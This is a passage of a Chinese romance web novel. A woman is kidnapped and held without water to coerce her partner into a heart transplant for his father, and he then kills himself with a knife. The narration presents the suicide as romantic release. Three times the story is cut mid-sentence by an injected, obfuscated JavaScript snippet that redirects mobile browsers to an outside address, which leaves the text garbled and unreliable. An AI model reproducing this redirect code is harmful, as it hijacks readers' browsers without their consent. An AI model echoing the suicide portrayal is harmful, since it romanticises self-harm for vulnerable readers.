“我觉得你最近也加班熬夜瘦了点,晚上用虫草花炖乌鸡汤好不好?” “好!” 关掉手机,季品诚揉揉自己疲惫的眉心,他总觉得这次的体检和往常的不太一样,项目做得也太全面些了,自己明明是第一批进去的,但却是最后一个出来的。 他仔细想了想,却又想不出来能有什么问题,肯定是最近太累了,才会胡思乱想,多思多虑。 医院附近的花坛里,开出了浅紫色的蝴蝶兰,今天是个阳光很好的晴天,小鸟成双成对地在梧桐树的树梢上唱歌,悦耳动听。 有小孩子牵着气球蹦蹦跳跳地走过,欢笑声被初春的微风扩散,荡漾在每一个路过的人的身上。 春天就要来了。 季品诚想起自己最近太忙了,都没有在春天里给她送上一束花。 他微笑着从长椅上起身,想着下班前一定要带一束花回家。 他一步步走进最好的春光里,觉得心情也因为她的存在,变得明朗畅意。 54. 54 晏迎今天稍微加了一会班,回家的时候已经是晚上七点四十了。 推开门,她就闻到了炖鸡汤的香味,她轻手轻脚地朝厨房走去,季品诚背对着他,认真看着锅里面沸腾的鸡汤,然后撒了一把葱进去。 晏迎走到他的身后,一下子抱住了他。 他身上有葱、生姜、香菜还有鸡汤的味道,这些味道混杂在一起,在厨房小小的天地之间,成为了一阵特有香味,让人嗅在鼻子里,就觉得安心。 如果这是瓶香水的话,晏迎打算叫这个味道为“贤夫”。 她埋在他身上猛吸一口,季品诚,一款她专属的顶级人夫。 季品诚对于她的突然袭击并不意外,他笑了一声:“早就知道你在后面了。” 他转头亲吻晏迎:“给你买了花,已经放在了花瓶里,你去看看喜不喜欢。” 晏迎惊喜地松开他,看到了放在餐桌上的玻璃花瓶里,是一簇粉红色的郁金香。 她趴在桌子上给郁金香拍照,季品诚笑着把鸡汤端出来:“洗手吃饭。” 吃饭的时候,晏迎的眼神笑吟吟地看看花,又看看季品诚。 他被她的眼神盯得有点不好意思了,夹了一个鸡翅放在她装着鸡腿的汤碗里:“傻笑什么?” 晏迎心情大好:“我是因为感到幸福所以露出笑容啊,虽然季老师你不像我一样经常把爱挂在嘴边,但是我知道你爱一个人是什么样的。” “你会给她炖营养好喝的汤,买花送给她,还会在她失眠的时候哄她睡觉…” 季品诚被她点破心意,低下头想要藏住自己唇角的笑,让自己看上去不要太张扬。 但他根本控制不住。 晏迎默契地认真吃饭假装什么也看不见。 唉,她在心里想,都老夫老妻了,怎么还是这么容易不好意思? 晚上睡觉的时候,晏迎又有点失眠了。 但她知道季品诚最近很忙很累,所以她闭上眼睛装睡,不想打扰他。 窗外有淅淅沥沥的雨声响起,是今年南城的第一场春雨。 晏迎放空自己,仔细去听。 她想象着外面的场景,雨水将春天里的一切,都打湿。 路灯下的地面会变得波光粼粼,刚长出来的小草上会堆积一夜晶莹透亮的露珠,清晨雨停,露珠滑落,像是落泪。 然后明天早上一推开门,就会觉得空气无比的清新,深呼吸一口气,会闻见青草与泥土地被打湿之后味道,像是有谁喷了青草味的香水。 想着想着,晏迎有点困了,但一份尖锐的叫声划破了这份春雨中的宁静。 这声音咋一听像是婴儿的啼哭声,其实是小区没有绝育的流浪猫,发出了猫叫春的声音。 旁边的人动了动,伸出胳膊揽住了她,顺带着用手捂住了她的耳朵。 晏迎舒了一口气,在黑夜里笑笑,闭上眼睛继续酝酿睡意。 明天,又是新的一天。 早上醒过来的时候,下了一夜的雨已经停了。 季品诚接到了科研所的电话,里面有一个项目需要他过去把关。 他给晏迎留好早饭,打了一个招呼就准备出发。 晏迎伸了一个懒腰,眼巴巴地看着他:“你这次不会又要去个三五天才能回来吧?” “不会,我今天下午还是正常下班的点就能回来。” 晏迎松了一口气:“那就好,路上当心点,注意安全,拜拜!” 他的早饭留了很多,晏远也过来蹭了一顿。 晏远这学期还是挺忙的,考研和保研她决定两手抓。 她简单地吃了点就准备去学校的实验室里做一次关于恒星大气模型验证的实验。 晏迎开车送她去学校,然后再去公司上班。 晏远的实验一做就是一上午,今天的实验室很奇怪,格外冷清,只有她一个人。 不管了,她看了一眼手腕上的手表,已经到了吃午饭的点,她也有些饿了。 她在休息室脱下白大褂,却发现包里的手机不见了。 实验室的设备有磁场干扰,所以手机是不允许带进来的。 但南城大学这么多年,也没有出过在休息室被偷贵重物品的案例,晏远皱眉,重新找了一遍还是找不到。她叹气自己怎么这么倒霉。 到底是哪个天杀的偷自己手机了。 她准备打开休息的门,去找老师调监控。 但她反复扭着门把手,却发现怎么也扭不动。 门不知道什么时候已经被反锁了。 晏远拍打着门:“喂!有人在外面吗!” 回答她的只有窗外刮进来的风声。 晏迎正打算去尝尝公司楼下新开的那家越南菜,手机铃声就响了起来。 来电显示“妹妹”。 她点击接通:“喂,小远,吃过饭了吗?” 电话那头传来一个男人的声音:“是我。” 晏迎当然听出来了这是张浩的声音,她停下脚步,感觉自己浑身的血液都凝固住了。 “晏远呢?她在哪里!”她的声音还算镇定。 张浩冷笑了一声,语气狠戾:“我会发送一个地址给你,四十分钟之内如果你赶不到,我不能保证自己能对她做出什么。” “让我听听我妹妹的声音,我要和她说句话,确保她现在是安全的。” 张浩对她的要求置之不理:“不可以报警,只能你自己一个人来,要不然后果自负,对了,四十分钟从现在开始倒计时。” 说完,张浩就关掉了电话,把自己的定位发给了晏迎。 一家南城以西破败已久的废弃工厂。 在学校里绑人难度系数太大了,他只是偷走了晏远的手机,把她反锁在学校的实验室里,再利用晏迎对妹妹是否安全的急切心理骗她过来。 张浩觉得自己真是聪明。 晏迎发动汽车打开导航的时候就已经冷静下来了。 倒计时三十五分钟,时间很紧张。 她一边开车赶时间,一边打电话报警,把详细的地址告诉了警察。 这家废弃工厂太偏远了,她多次超速,才正好在最后三分钟到达了这里。 警察应该也快来了吧。 废弃工厂又老又旧,大白天里面也是黑漆漆的,里头的气味很难闻,晏迎用手在面前挥了挥,打开手机手电筒,看清楚了里面破败的构造和飞散的尘埃。 她试着喊了一声:“小远!” 无人应答。 “张浩,你个鳖孙,我来了,我妹妹人呢!” 没看见晏远,晏迎又开始试着寻找张浩。 她被工厂里的灰尘呛得咳嗽,又往里面走进几步,她看到了一个人躺在了地上。 当手电筒的光亮清晰地照到那个人脸上时,晏迎愣住。 地上昏迷不醒的不是别人,正是张浩。 晏迎的大脑一下子停机了,就在这时,她手电打在地上光里,有一道影子出现在了她身后。 她背后有人。 晏迎还没来得及回头去看,就被人用一块湿毛巾捂住了口鼻。 毛巾里有迷药,她口鼻吸入的那一刻,瞳孔涣散,随后逐渐失去了知觉。 在她丧失意识的最后几秒里,她的脑子里出现了季品诚的模样。 他站在一片很温暖的地方,冲她浅浅微笑,他温柔的眼神像是在说,晏迎,你快点过来。 来我身边,我们永远不分开。 她踏过被冰雪堆积的长街,一步步奔跑到有他在的春光里,被他拥抱入怀。 太温暖了,所以她渐渐闭上了眼睛。 警车“呜呜”的鸣笛声响起,警察被废弃的工厂找了一个遍,也只找到昏迷的张浩。 晏迎的车还停在工厂门口,但她彻底消失不见了。 季品诚从科研所出来的时候,就看到了五个来自晏远的未接电话。 什么事情这么着急?他连忙拨打了过去,内心无端焦灼,隐隐不安,不详的预感涌上了心头。 电话过了很久才接通。 “喂,晏远,怎么了?” 电话那头传来晏远的哭腔:“不好了姐夫,姐姐失踪了,我现在在南城派出所,电话里说不清楚,你快点来吧。” 季品诚觉得自己此刻的心脏停止了跳动,鼻子也无法呼吸,只有嘴巴在麻木地说话:“好。” 关掉电话,他迈开步子,却明显感受到,自己的腿在发软。 到了派出所, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301071|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季品诚冷静地听完了前因后果。 张浩只是偷了晏远的手机想把晏迎喊过去吓吓她,再收拾一顿。 可有人在晏迎来之前,从后面迷晕了他。 他没有看清那个人的模样。 他哆哆嗦嗦地说完这些话之后,不敢看季品诚的眼睛。 季品诚也曾经是他的老师,本来就有威慑力,现在像刀子一样的目光恨不得活剐了他。 张浩都快要哭了:“警察同志我知道的就这么多了,我真没用其他同伙,我爸妈那边什么也不知道,不信你们可以去查,要是有同伙我也不会被莫名其妙迷晕啊!” 季品诚仔细观察过他,他不是一个可以藏得住事的人,他没有在撒谎。 但正因为这样,案件陷入了困境。 工厂附近都是荒野,并没有完善的监控系统。 警察只能安慰他们:“已经立案了,会竭尽全力去侦察,家属在这里干着急也不是事,先回家好好休息一下,有什么新情况和新进展第一时间通知你们。” 季品诚点点头,扶住已经哭脱力的晏远:“走吧,我先送你回家,你好好休息,正常上学,别让我还要分心在你身上。晏远,你相信我,我会想办法去解决的。” 他的心里此刻有一团火正在燃烧。 “我比谁都希望她可以平安回来。” 晏远哭得断断续续:“季老师…都怪我,要不是我的手机被偷了,姐姐也不会因为找我失踪的。” 季品诚觉得她和她姐姐一样傻,他耐心安慰道:“怎么可能怪你呢,你也是受害者,晏远,不要多想了,我和你保证,肯定会找到她。” 把晏远送回家,季品诚也打开了自己家的门。 阿比欢快地摇着尾巴出来迎接他,但看到只有他一个人回来,疑惑地歪着头,大声“汪”了一声。 它站在门口,东张西望找着晏迎。 季品诚蹲下来,沉默地把阿比抱了回来,轻轻关上了门。 阿比睁着圆溜溜的大眼睛看着他,有些不甘心地“嗷呜”一声。 季品诚抱着阿比,呆呆站在客厅中央。 家里茶几上的果盘里,放着她昨天买回来的橙子。 餐桌的玻璃花瓶上的郁金香也被她重新换过了水,在水晶吊灯的照耀下,开得明艳美丽。 她的时尚杂志和他的专业书叠放在一起,旁边是记录设计灵感的笔记本和他们的情侣杯子。 那套情侣杯是两个抱在在一起的小梨子,寓意是永不分离。 卫生间里他们的牙刷毛巾整齐地摆放在一起,季品诚伸手,把她梳妆台上倒掉的口红扶正。 卧室里,她今天起床匆忙,没有来得及叠被子,两只公仔玩偶也没有放好,被埋在了被子下面。 季品诚把被子叠好,把被子里面的两只兔子玩偶解救出来,放在了一边。 他麻木地做着这些无意义的事情,麻木地洗漱,麻木地再次走进卧室,麻木地接受房子里的一切都变得安静。 以前这种寂静无声的日子他不是没有经历过,但现在这份寂静,却让他觉得可怕。 没有人笑意盈盈地抱住他和他絮絮叨叨分享着一天发生的趣事,没有人吻吻他的眉眼,问他今天开不开心,过得怎么样? 墙上挂钟传来的滴答声在告诉他,他已经一个人枯坐许久,时间正在一点一滴地流逝。 而她生死未卜。 季品诚无法再容忍下去,他起身打开角落处的柜子,找出那瓶已经积灰的药。 他也不管这瓶药有没有过期,随手倒了几颗直接吞入腹中。 这是让稳定情绪的药物,和镇定剂没什么区别。 但自从认识她以来,他已经很久没有吃过了。 药物的干噎感和心里积压的难受让他产生了呕吐的感觉,幸好他今天腹内空空,撑在地板上什么也吐不出来。 季品诚扶着桌子起身的时候,听到了外面响起了下雨的声音。 淅淅沥沥,将世界浇个湿透。 那雨好似冰冰凉凉地流淌在了他的脸上…… 他用手往脸上一抹,才发现不是雨,是眼泪。 在他灵魂被抽走,只留下一具躯壳时,不知道什么时候流下的眼泪。 55. 55 这是晏迎失踪的第三十六小时。 季家安静的客厅里,两个长相相似的男人面对面坐着,陷入了良久的沉默。 他们抬起头看向彼此,就像是在照镜子。 季磊谦皱眉:“你怀疑是我绑走了她?我还不至于这么下三滥。” 季品诚一夜没睡,他努力支撑着自己,冷静开口:“她除了张峰和张浩,在南城也没有其他仇家,警察已经调查过张家了,排除了张家的所有嫌疑,现在调查陷入了死局。” 季磊谦现在的脑子也很乱,他捏了捏自己的眉心:“我会去请最好的私家侦探。” “我请过了,但对面做的很好,什么也查不出来,就是因为一点痕迹都没有,太天衣无缝了才更加令人怀疑。” 季品诚看向季磊谦的眼睛:“试问在南城,谁有这样只手遮天的能力?” 答案只有一个,他们不用说都心知肚明。 季磊谦觉得他说得有几分道理,但实在想不通:“我不可能绑走她!除了我,就是爸那边…” 他说到这里,瞳孔放大,像是被一只无形的大手掐住了喉咙,突然卡壳。 他焦急地冲季品诚问道:“她是什么血型?” “A型血。” 听到这个答案,季磊谦松了一口气,他喃喃道:“那还好,那还好,老爷子是AB型血,用不到她的心脏。” “你什么意思?”季品诚抓住了他话里的关键词,心脏?什么心脏? 季磊谦把老爷子要去K国换心的事和季品诚讲了一遍。 他最后总结:“一大把年龄了还真高兴折腾。” 季磊谦说完,看到了季品诚的脸色越来越难看:“你这是怎么了?” 季品诚平静地回答他:“心脏移植的匹配标准是很严格的,而且在我国要遵循器官分配系统,无法指定亲属为受体,也禁止活体心脏捐献,老爷子去K国,就是为了摆脱这些条条框框的规则。” 他缓了缓,继续道:“心脏供体一时间也无法找到血型和相容组织性都完美匹配的,但这个世界上,有两个人的心脏,对于他来说,是匹配度概率可以达到最高的。” 季磊谦接他的话继续道:“你的和我的?” 季品诚点头:“没错,父子间有百分之五十的基因相似性,可以降低手术后排斥反应的风险,并且我也是AB血型。” 他们之间又陷入了死一般的沉默。 季品诚苦笑道:“现在你可以想明白老爷子为什么要绑走她了吧?” 醉翁之意不在酒。 季磊谦感受到自己的脊背在一阵阵发凉:“他的目的不是她,是…” “是我。”季品诚闭眼,这个时候了,他居然还能笑得出来。 能够弄清楚前因后果,是件好事,总比一头雾水找不到方向好。 “既然他的目的是我,那她作为威胁我的筹码,现在一定还活着。” 只要她活着,季品诚的心总能安定下来。 季磊谦再也顾不得什么风度了,低低骂了一声:“老爷子挺狠啊,玩阴的是吧。” 季品诚撸起袖子,给季磊谦看他手臂上抽血的针孔,那块地方已经乌青一片。 “我单位前几天有一场特别全面的体检,看来我的血型、心脏的HLA配型以及身体健康状况,都非常符合给他作为供体的要求。” 有掌声响起,是季国明的心腹秘书。 他是一个五十上下的中年男人,打年轻那会就跟着季国明混,资历很深,连季磊谦见到他,都要喊一声“林叔。” 林秘书满脸抑制不住的欣赏:“品诚,你虽然离开了季家,但到底是季家的孩子,聪明,和你这样聪明的孩子做交换,你父亲也会省心很多了。” 季磊谦的表情已经开始有点扭曲,他现在真的很想立马买机票去K国,问问老爷子到底要干什么。 这么大把年纪了,身体这么差了,也该死了,怎么这么不消停? 季品诚比他冷静得多,他看了季磊谦一眼,示意他闭嘴,不要轻举妄动。 很奇妙,这兄弟俩其实从小就不对付,也没什么感情,但此刻,他们有了血脉相连的感觉。 这种说不清道不明的情绪像是长满黏液的藤蔓一样迅速生长着,让此刻的氛围更加压抑沉闷。 季品诚率先开口道:“她在哪里?” “K国的地下室,你放心,没有伤害她,她从头到脚,从里到外都是全须全尾的,没有掉一块肉,流一滴血。” 季磊谦的表情稍微放松了一点下来,但季品诚的心还是紧绷着的,他知道并没有这么简单。 果然,林秘书笑了一声:“她已经两天没有喝过一滴水吃过一粒米了,品诚,你是知道的,水可是维持生命的关键,给她断水,她可活不了太久。” “哦对了,”林秘书又乐呵呵地补充道,“我们怕晏迎小姐冷,地下室给她开足了暖气,缺水又高温的情况下,情况很不乐观啊。” 似乎是怕他们不相信,他打开了客厅的电视,蓝牙连接到手机上,给他们看监控视频。 黑漆漆的地下室里,一个严重脱水的女人像是一条濒死的鱼,倒在地上抽搐。 这是因为缺水导致电解质紊乱,发生的生理性肌肉痉挛。 “畜生!”季磊谦要冲过去,恨不得把林秘书的头给拧下来。 季品诚咬牙,一把拦住了季磊谦:“你冷静点,现在不是冲动的时候!” 林秘书冲他们挑眉,用着专业和严谨的口吻继续道:“缺水四十八小时,会出现脱水、血压下降和肾脏永久性损伤的症状,缺水七十二小时以上,器官会出现衰竭,肾脏和肝将会停止运转,最后在意识模糊不清的状态下死亡。” “品诚,她是死是活,看你怎么选。” 季品诚始终都很平静,平静到让人觉得他早已是一潭死水。 他没有犹豫:“现在就送她去医院静脉补充电解质液,我到K国的时候,她必须生命体征正常,我才会同意进行手术。” 林秘书知道,他这是答应了。 他打了一个电话过去,语气轻快:“把暖气关掉,再送晏小姐去医院。” 他挂掉电话冲季品诚满意地点点头:“一会会有人来接你前往去K国的飞机,品诚,你接下来的行程都会受到监控,可不要背地里耍什么花招。” 林秘书走后,这里又只剩下他们两个人。 季磊谦眉头紧皱:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307811|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你去了,就是必死的局。” 季品诚笑了笑:“我知道,但我不能眼睁睁地看着她送命。” “是我害了她,是季家害了她,是不该有的私心害了她,我只是尽到我应该尽的义务救她回来,如果她因为这些死在异国他乡,我也无法独活。” “她不在的每一秒,对我来说都是种折磨,从她失踪到现在,我觉得一辈子都快要在钝刀子割肉的拉扯和折磨里反复耗尽了。” 接季品诚的车子马上就到了,他深深看向季磊谦:“我求你一件事。” “你说。” “我知道你本性不坏,不是个坏孩子,所以我想求你,在那天接她回国,在南城我知道有你在,她不会出事,她要是问起我,你自己看着办,实话也好假话也罢,你就告诉她一句话,我希望她好好活。” “你遗言交代的太早了,我想想看还没有什么别的办法。” “没有了,老爷子手腕狠戾,我相信你比我更清楚。” “如果真到了那一步,你刚刚要求的,我都答应你。” 季品诚点点头,拿出手机给晏远打了一个电话。 不过是交代她好好照顾阿比,不要伤心,几天后,晏迎就会回来了。 “姐夫!有姐姐的消息了吗! “对,我马上就去接她回家。” “太好了!那我和阿比在家里等你们回家!” “好。” 林秘书推开门,向季品诚伸出手,示意他把手机交上来。 季磊谦和他的目光对视,两个人,相顾无言。 该说的话,已经全部说完了。 这件事来的突然,但就是这么突如其来,才让他们退无可退,没有转圜的余地。 坐在私人飞机上的时候,季品诚闭上眼睛睡了一觉。 他快两天没有合过眼了,他想好好睡一觉,用最好的状态去见她。 梦里,又回到了和她的初见。 办公室的门没有关死,里面有争吵的声音传来。 他站在门外犹豫,要不要推开门。 他还是走进了办公室,争吵声也因为他的到来一下子暂停了。 他没有去拿那份放在办公桌上的实验报告,而是望向了那个熟悉的背影。 他一步步向她的背影走去,闻到了她身上带有玫瑰花香的烟味。 她沐浴在秋日午后的阳光之下,朝他转过身。 还是熟悉的,笑意盈盈的脸,但看向他的目光带了几分陌生。 她挑眉,退后一步:“这位老师你认识我吗?” 季品诚笑着回答:“嗯,认识。” 我们会在不久的以后,经历很多很多浪漫的事情。 一起晨跑,一起聊天,我会给你做饭,你会送我鲜花,你会给一颗星星用我的名字命名,我们养了一只世界上最可爱的比格犬。 我们还会一起去挪威的特罗瑟姆看一场无与伦比的极光。 极光之下,我们对欧若拉女神发誓,要在一起一辈子,永远不分开。 那天,特罗瑟姆的黎明来得格外晚,像是命运伸出手,想把我们留在这里。 迎迎,对不起。 我要食言了。 56. 56 晏迎醒过来的第一眼,就见到了季品诚。 她现在还在禁食阶段,只能少量喝一些温水。 但幸好只是轻度脱水,一天的过渡期后,就可以吃点白粥和面条汤这样的流食。 季品诚怕灯光太刺眼,打扰到她休息,并没有开灯。 房间里暗沉沉的,晏迎望向他的时候,朦朦胧胧,模模糊糊,看不真切。 是梦吗?还是幻觉? 她屏住呼吸,专注地看面前男人清俊的轮廓,是他,没错。 一声轻笑在她耳边响起,季品诚打开了床边的小台灯。 他的样子在暖黄色的灯光下,温柔得一塌糊涂。 晏迎弯弯唇角,想抬起手摸摸他的脸,她动了动,却发现自己一点力气都没有。 季品诚拿起她的右手,让她的掌心贴在自己的面颊上,他很认真地看着她,仿佛怎么也看不够。 “是真的季品诚,不是假的,要不然我们再确认一下?” 他低下头,吻吻她的额头。 晏迎的声音很虚弱:“嗯,是真的,不是梦。” 季品诚放下她的手,给她掖好被子,伸手抚摸她的脸颊:“放心,再调养个几天,身体各项指标就可以恢复了。” “小远她没事吧?” “没事,张浩只是在学校偷走了她的手机,把她反锁在了实验室的休息厅里,她好好的,你不用担心。” “到底是谁把我带到了这里?” 季品诚回避了这个问题:“你不用多想这些,现在你已经安全了,情况有些复杂,等你休息好了,一切都恢复了,我再慢慢和你说。” 晏迎点点头,难得听话道:“好。” 他们不再说话,只是安静地看向彼此,晏迎不知道为什么,没有劫后重生的喜悦,只觉得心脏处被人揪着一样难受和疼痛。 生死一线里,她觉得自己真的要栽在这里了。 她在季品诚温柔且真挚的目光里,眼角泛酸,流下几滴泪水。 季品诚用拇指的指腹轻轻替她抹去眼泪,笑道:“本来就缺水,现在淌眼泪可是浪费身体里面刚刚储存好的水分。” 他还有心情开玩笑,看来是真的什么事也没有了。 晏迎感受着他掌心干燥温暖的温度:“我们什么时候可以回国?” “明天早上。” “季老师。” “我在。” “季品诚。” “我在。” “Devin。” “我在。” “我们回国之后就结婚好不好?” 季品诚的笑意凝固在唇角,变成卡在喉咙里的一根刺,他想要开口说些什么,却觉得痛。 他感受到自己在发抖,控制不住地发抖。 晏迎继续说:“我们简单一点,不要请很多人,就请小远、婶婶、小越、维娜、Ge叔叔、苏阿姨他们一起吃个饭,哦对了,还有你的老师和师娘,人不用多,自己人热热闹闹一桌就可以啦。” “不过我想要婚礼在北欧的大教堂里举办,底下不需要观众,在悠扬的管风琴声里,我穿着婚纱一步步走向你,然后我们在神父面前宣誓,接吻,交换戒指。” “我穿婚纱的样子肯定特别漂亮,季老师啊季老师,你真的是好福气,可以娶到我这么可爱好看有魅力还有趣有才华的老婆。” “对啦!我还想和你一起,再看一看极光,请欧诺拉女神也尝尝我们的喜糖。” 看他沉默不说话,晏迎冲他眨眨眼睛,心慌道:“季老师你怎么不说话了,你不会是不愿意吧?” “怎么可能?”季品诚努力挤出一个微笑,凑近她的脸,望向她的眼睛,“我怎么可能不愿意?” 全宇宙没有比他更愿意的人了,只是,只是…… 季品诚控制住自己发抖的身体,温热的气息拂在她的耳边:“在这里求婚太潦草了,等你回去,回南城,把身体养好,我们再慢慢说,好不好?” 这个角度,晏迎正好可以吻到他的侧脸,她用干燥的唇亲了亲,回答道:“好。” 她又笑了:“可惜生活不是小说和电视剧,要不然季老师你现在应该从口袋里掏出一个戒指来给我带上。” 季品诚的目光移到她左手空荡荡的无名指上,他握紧她的左手,不想放开却又不得不放。 “迎迎。”他突然温柔地叫她的小名。 晏迎有些惊讶,因为在她的印象里,季品诚是第一次叫她“迎迎。” 她有点脸红,不好意思道:“怎么啦?” 季品诚双手捧住她的脸,虔诚且认真:“我就算真的带了一个戒指来,也不会现在给你戴上的。” “为什么?” “因为…我不想用戒指将你套牢。” 她的一生还很长,他不要她左手的无名指上,有一枚戒指时刻提醒着她,他来过她的生命。 他知道她一旦带上,就永远舍不得脱去。 那枚戒指会和她的皮肤紧紧相连,变成一圈白皙的,无法磨灭的印记。 就像是他们之间的感情,他知它深刻,但此时倒宁愿它容易消磨。 晏迎认同他的话:“你说的也是,我们到教堂再戴也不迟,反正我们的时间还那么长。” 不贪求长命百岁,如果可以活到六十岁,那还有四十余年的光阴可以慢慢消磨。 “但是品诚,我要认真地反驳你一句话。” “什么?” “戴上你的戒指,我心甘情愿被套牢,一生一世。” 时光静默不语,凝固成琥珀,包裹住他们所有的爱意。 季品诚在她的话里,低下头亲吻她。 晏迎反应过来的时候,才感受到脸上潮湿一片。 像是一场雨,下在了他们中间,淋湿情绪万千。 “季老师…”她愣住,“你为什么要哭泣呀?” 季品诚低低笑了一声:“是因为现在太幸福了。” “哈哈哈,季老师!我们以后幸福的日子还会有更多更多的!” “对,以后幸福的日子还会有更多。” 晏迎握着他的手,感受到了强烈的困意,她紧紧握住他,不愿意分开:“季老师,我再睡会。” “好。” “你会一直陪着我的吧,你别一个人偷偷离开。” “不会的,你放心睡吧。” 晏迎闭上眼睛,陷入了深沉的睡眠。 季品诚看着她熟睡的脸,眼神温柔。 请欧若拉女神晚一点将黎明带来,这样他就可以多看她一眼,再看她一眼了。 他关掉亮着的灯,在一片黑暗里和她道歉:“对不起。” 晏迎醒过来了的时候,天已经亮了。 季品诚不在房间里。 她睡了一觉之后有了点力气,挣扎着坐了起来。 有护士推门进来,帮她拔掉了输液管,扶着她下床坐在轮椅上,她用英语对晏迎说:“接你的车子已经停在了楼下。” 晏迎点点头,由着护士给她穿好外套,推着她出门。 她的轮椅被折叠起来,她被护工扶上车的后座时,才看清楚了车上的男人是谁。 不是季品诚,是季磊谦。 季磊谦小心翼翼地扶稳她坐下,塞了一个靠垫在她的背后,让她可以更加舒服点。 晏迎有些懵了:“怎么是你?” “怎么不能是我?季品诚突然有事不能来了,托我平安护送晏迎大小姐回国,你放心,我肯定把你好好地送回去。” 晏迎现在的脑子逐渐清醒起来,昨天晚上的一幕幕让她觉得一切都变得不对劲。 她不相信季磊谦的话,挣扎着起来:“他现在在哪里,就算有天大的事情他也会和我打个招呼的,他不可能不来丢下我的。” 他既然能让季磊谦来替他接她回去,肯定不是什么简单的事情,才会让他出此下下策。 晏迎支撑着自己的身体想要下车:“你不告诉我,那我就自己去找他,他不来,我也不会走,我要和他一起回去的。” 季磊谦一把把她按在怀里,晏迎挣扎的时候,他冲一旁的护士使了一个眼色。 一支镇定剂精准地按了下去,晏迎在他的怀里停止了挣扎。 那支镇定剂的分量,足够她安静地回到南城的机场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307812|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 季磊谦松了一口气,但没有松开怀抱里的人。 难得这么不闹腾地呆在他的怀里,就让这份时间再长一点吧。 他摸摸她的头发,觉得这几天被折腾瘦了,抱起来都硌人。 季磊谦望向车窗外K国灰蒙蒙的天空,目光凌厉。 南城季家,确实该换人来做主了。 季品诚穿着蓝白色的病号服,躺在仪器上接受最后的检查。 检查的结果对于他来说,是好是坏都无所谓了。 仪器带来的白色强光让他闭上了眼睛,他听见旁边围着的外国专家用英语叽里咕噜说了一大堆。 大概就是他身体素质很好,各方面匹配度很高,这两天就可以快速安排移植手术了。 季品诚懒得去听,他满脑子想的都是,这次和她的离别,实在是太匆匆了。 匆匆到,他觉得自己到最后闭眼的那一刻,都无法心安。 可人生不就是在匆匆的别离中度过的吗? 这次再见,却是再也不见了。 回到病房的时候,已经是晚上了。 他站在窗外看向漆黑的夜空,繁星点点,美不胜收。 他也不知道自己站了多久,晚上的微风吹拂在他的脸上,却吹不散他的胡思乱想。 他想的是,人如果真的在死后能够化作天上的一颗星星就好了,这样,他就可以在往后的路上,偷偷照耀她走过的路。 想到这里,季品诚微笑,转身掀开枕头,下面藏着一把锋利的水果刀。 这是他拜托季磊谦带给他的,必要的时候,他自行了断。 他的心脏,只能为她而跳动。 人需要依靠爱才能活下去,也会因为爱而愿意死去。 那把刀在昏暗的病房里发出亮光,季品诚将它拿在手上,和尖锐的刀锋沉默对视。 刀锋宛如一面镜子,折射出他最想看到的人。 他在生命冰凉的虚无和荒芜处,看到了生机勃勃的她。 她是他生命倒计时里,最不舍的人。 因为和她有关的一切都是那样美好幸福,所以季品诚深深眷恋着,不舍与她再不相见。 可是事到如今,退无可退。 季品诚笑着叹了口气,然后准确无误地将那把刀,刺入了自己的心脏。 他面朝着窗外,平静地,呆呆地望向远方。 那是中国南城的方向。 鲜血从心口涌出,他麻木地感受到了潮湿、疼痛和窒息。 随着血越流越多,季品诚的意识开始逐渐模糊。 在他闭眼的那一刻,走马灯,亮了。 “我叫晏迎,言笑晏晏的晏,迎难而上的迎。” “季老师,希望你可以和你的名字一样,真诚地品味四季。” “季老师,咱们两个现在是朋友了,朋友之间不计较这个。” “你得有点防范意识啊季老师,这么容易就把你家门禁给我了?” “季老师,您这是第一次谈恋爱?” “季老师,这个情侣挂件一般人还看不出来,太明显的反而没什么意思,这种只有咱俩能懂的秘密才好玩儿,你说对不对?我的冥王星。” “我想把你带回家给婶婶看看,见见家长。” “季老师,到时候我们长眠在一片寂静的土地里,鲜花和小草以我们为肥料,代替我们在这个世界上继续呼吸,可我会一直缠着你,和你说上几百年,几千年,甚至几万年的话,直到宇宙大爆炸。” “虽然季老师你不像我一样经常把爱挂在嘴边,但是我知道你爱一个人是什么样的,你会给她炖营养好喝的汤,买花送给她,还会在她失眠的时候哄她睡觉…” “品诚,我们回国之后就结婚好不好?” 走马灯渐渐熄灭。 季品诚心口的血仿佛已经流干流尽,他的心跳从一开始紧急供血的加速到后来失血过多的缓慢,直到现在,终于停止了跳动。 终于解脱了。 窗外,露出鱼肚皮一样的白,欧诺拉女神将黎明的第一缕光洒在他的身体上。 他本可以忍受黑暗,如果他不曾见过太阳。